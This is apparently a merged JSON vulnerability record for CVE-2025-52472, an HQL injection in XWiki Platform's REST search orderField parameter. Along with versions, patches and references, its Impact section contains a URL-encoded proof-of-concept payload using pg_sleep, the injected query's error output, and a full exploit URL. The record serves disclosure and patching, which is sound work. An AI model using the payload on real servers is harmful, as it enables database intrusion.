{"id":"CVE-2025-52472","aliases":["CVE-2025-52472","GHSA-gprp-h92g-gc2h"],"related":[],"kind":"vulnerability","state":"published","title":"XWiki Platform vulnerable to HQL injection via wiki and space search REST API","summary":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0, the REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it. This has been patched in versions 17.5.0, 17.4.2, and 16.10.9. No known workarounds are available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0, the REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it. This has been patched in versions 17.5.0, 17.4.2, and 16.10.9. No known workarounds are available.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nThe REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.\n\nFor example, with the following `orderField` parameter:\n\n```\ndoc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName\n```\nSee the following error:\n\n```\nQuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]\n```\n\nFor reference, the full URL for the above error is:\n\n```\nhttp://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName\n```\n\n### Patches\n\nThis has been patched in 17.5.0, 17.4.2, 16.10.9.\n\n### Workarounds\n\nThere is no known workaround, other than upgrading XWiki.\n\n### Resources\n\n* https://jira.xwiki.org/browse/XWIKI-23247\n* https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1\n* https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)","format":"markdown","source":"ghsa"},{"lang":"es","text":"XWiki Platform es una plataforma wiki genérica que ofrece servicios en tiempo de ejecución para aplicaciones construidas sobre ella. A partir de la versión 4.3-milestone-1 y antes de las versiones 16.10.9, 17.4.2 y 17.5.0, la URL de búsqueda REST es vulnerable a la inyección HQL a través del parámetro 'orderField'. El valor especificado se añade dos veces en la consulta, sin embargo, una vez en la lista de campos para la selección y una vez en la cláusula 'order', por lo que no es tan fácil de exploit. La parte de la consulta entre los dos campos puede encerrarse entre comillas simples para eliminarlos eficazmente, pero la consulta aún debe seguir siendo válida con la consulta dos veces en ella. Esto ha sido parcheado en las versiones 17.5.0, 17.4.2 y 16.10.9. No se conocen soluciones alternativas disponibles.","source":"nvd"}],"published":"2025-10-06T14:53:46.654Z","modified":"2026-10-09T10:10:00.193Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":">= 4.3-milestone-1, < 16.10.9","status":"affected"},{"version":">= 17.0.0-rc-1, < 17.4.2","status":"affected"}],"vendor":"xwiki","product":"xwiki-platform","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"17.0.0-rc-1","status":"affected","fixed":"17.4.2"}],"ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-rest-server","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-rest-server","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"4.3-milestone-1","status":"affected","fixed":"16.10.9"}],"ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-rest-server","purl":"pkg:maven/org.xwiki.platform/xwiki-platform-rest-server","source":"ghsa"}],"references":[{"url":"https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-gprp-h92g-gc2h","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://jira.xwiki.org/browse/XWIKI-23247","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-52472","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/xwiki/xwiki-platform","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2025-10-06T15:13:19.573Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-52472","url":"https://www.cve.org/CVERecord?id=CVE-2025-52472","licence":"CVE Terms of Use","modified":"2025-10-06T15:13:42.161Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gprp-h92g-gc2h","url":"https://github.com/advisories/GHSA-gprp-h92g-gc2h","licence":"CC-BY-4.0","modified":"2025-10-06T20:42:24.906Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-52472","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-52472","licence":"Public domain","modified":"2026-10-09T10:10:00.193Z"}],"updatedAt":"2026-11-25T22:59:05.565Z","epss":{"score":0.02365,"percentile":0.84259,"date":"2026-12-01T12:00:22.000Z"}}